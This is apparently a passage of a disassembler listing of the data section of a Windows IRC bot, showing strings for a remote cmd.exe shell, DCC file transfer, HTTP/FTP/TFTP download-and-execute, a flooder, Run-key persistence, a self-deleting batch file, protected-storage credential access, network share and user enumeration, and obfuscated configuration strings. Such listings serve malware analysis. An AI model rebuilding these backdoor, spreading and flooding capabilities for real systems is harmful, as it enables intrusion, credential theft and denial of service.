		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0A3h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h			; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h		; DATA XREF: sub_401E38+36o
					; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402A32+6B0o
dword_4184C0	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o
unk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402A32+C0o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0		; DATA XREF: sub_403260+43o
					; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h		; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C	dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0 ; DATA XREF: sub_4043E9+6o
dword_418A30	dd 2E3031h		; DATA XREF: sub_4041B7+56o
dword_418A34	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_4041B7+3Bo
dword_418A40	dd 2E323731h, 0		; DATA XREF: sub_4041B7+20o
dword_418A48	dd 2E373231h, 0		; DATA XREF: sub_4041B7+5o
dword_418A50	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_40D871+1CCo
					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah		; DATA XREF: sub_40435B+42o
dword_418A60	dd 7525h		; DATA XREF: sub_4055E5+458o
					; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo
					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; MEW:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o
dword_418B54	dd 58323025h, 0		; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0		; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
dword_418B64	dd 7325h		; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset dword_418D98
		dd offset dword_418DA8
		dd offset loc_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset loc_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset dword_418C5C
		dd offset dword_418C6C
		dd offset loc_418C4C
		dd offset dword_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh
					; DATA XREF: MEW:00418BE4o
		dd 0CDFEFCFBh, 9AE9A7h,	0
dword_418C10	dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0)	; DATA XREF: MEW:00418BE0o
dword_418C24	dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh
					; DATA XREF: MEW:00418BDCo
		dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0
; ---------------------------------------------------------------------------


loc_418C4C:				; DATA XREF: MEW:00418BD8o
		mov	esi, 0ADE28890h
		jmp	loc_425440
; ---------------------------------------------------------------------------
		align 4
		dd 0
dword_418C5C	dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0 ; DATA XREF: MEW:00418BD0o
dword_418C6C	dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h
					; DATA XREF: MEW:00418BCCo
					; MEW:00418BD4o
		dd 0F3h, 0
dword_418C88	dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0)	; DATA XREF: MEW:00418BC8o
dword_418C9C	dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h
					; DATA XREF: MEW:00418BC4o
		dd 0CEFEEDF4h, 2 dup(0)
dword_418CBC	dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0)	; DATA XREF: MEW:00418BC0o
dword_418CD0	dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0)	; DATA XREF: MEW:00418BBCo
dword_418CE4	dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0 ; DATA XREF: MEW:00418BB8o
dword_418CF4	dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0)
					; DATA XREF: MEW:00418BB4o
dword_418D0C	dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0)	; DATA XREF: MEW:00418BB0o
; ---------------------------------------------------------------------------


loc_418D20:				; DATA XREF: MEW:00418BA8o
		test	al, 95h
		sbb	eax, 0CCFDEBECh
		sti
		jmp	loc_4238BE
; ---------------------------------------------------------------------------
		align 10h
		dd 0
dword_418D34	dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh
					; DATA XREF: MEW:00418BA4o
					; MEW:00418BACo
		dd 0CDFBF8E2h, 0BBh, 0
dword_418D54	dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0 ; DATA XREF:	MEW:00418BA0o
dword_418D64	dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h
					; DATA XREF: MEW:00418B9Co
		dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0
; ---------------------------------------------------------------------------


loc_418D88:				; DATA XREF: MEW:00418B98o
		mov	esp, 0ADE29D8Fh
		jmp	loc_42557C
; ---------------------------------------------------------------------------
		align 8
dword_418D98	dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	MEW:00418B90o
dword_418DA8	dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh
					; DATA XREF: MEW:off_418B8Co
					; MEW:00418B94o
		dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0)
dword_418DD0	dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF:	MEW:off_418B88o
dword_418DE0	dd 293Ah		; DATA XREF: sub_406A23+9Co
dword_418DE4	dd 5Ch			; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_406B81+1Bo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h			; DATA XREF: sub_407928+4Co
					; sub_407928+96o ...
dword_418F50	dd 30h			; DATA XREF: sub_407E0C+CBo
					; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 0BF818FB2h, 0FFE3E0h, 0 ; DATA XREF:	sub_408887+6o
dword_418F6C	dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0)
					; DATA XREF: sub_408887+14o
dword_418F84	dd 0BF818FB2h, 0E9E7h, 0 ; DATA	XREF: sub_408887+22o
dword_418F90	dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0) ; DATA XREF: sub_408887+30o
dword_418FA0	dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0 ; DATA XREF:	sub_408887+3Eo
dword_418FB0	dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0	; DATA XREF: sub_408887+4Co
off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh
					; DATA XREF: MEW:00418FD8o
		dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh
		dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh
		dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h
		dd 2 dup(0)
dword_41903C	dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h
					; DATA XREF: MEW:00418FD4o
		dd 0
dword_419054	dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh
					; DATA XREF: MEW:00418FD0o
		dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h
		dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh
		dd 0A5E1A8h, 0
dword_419098	dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h
					; DATA XREF: MEW:00418FCCo
		dd 0E1ECh, 0
dword_4190B4	dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh
					; DATA XREF: MEW:off_418FC8o
		dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h
		dd 0ABC6FEB0h, 0FCB5h, 0
dword_4190E8	dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h
					; DATA XREF: MEW:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h			; DATA XREF: sub_4083AD:loc_4086C8o
					; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h		; DATA XREF: sub_408E8E+6r
					; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_408F2E+1EDo
dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh		; DATA XREF: sub_408F2E+17Co
					; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
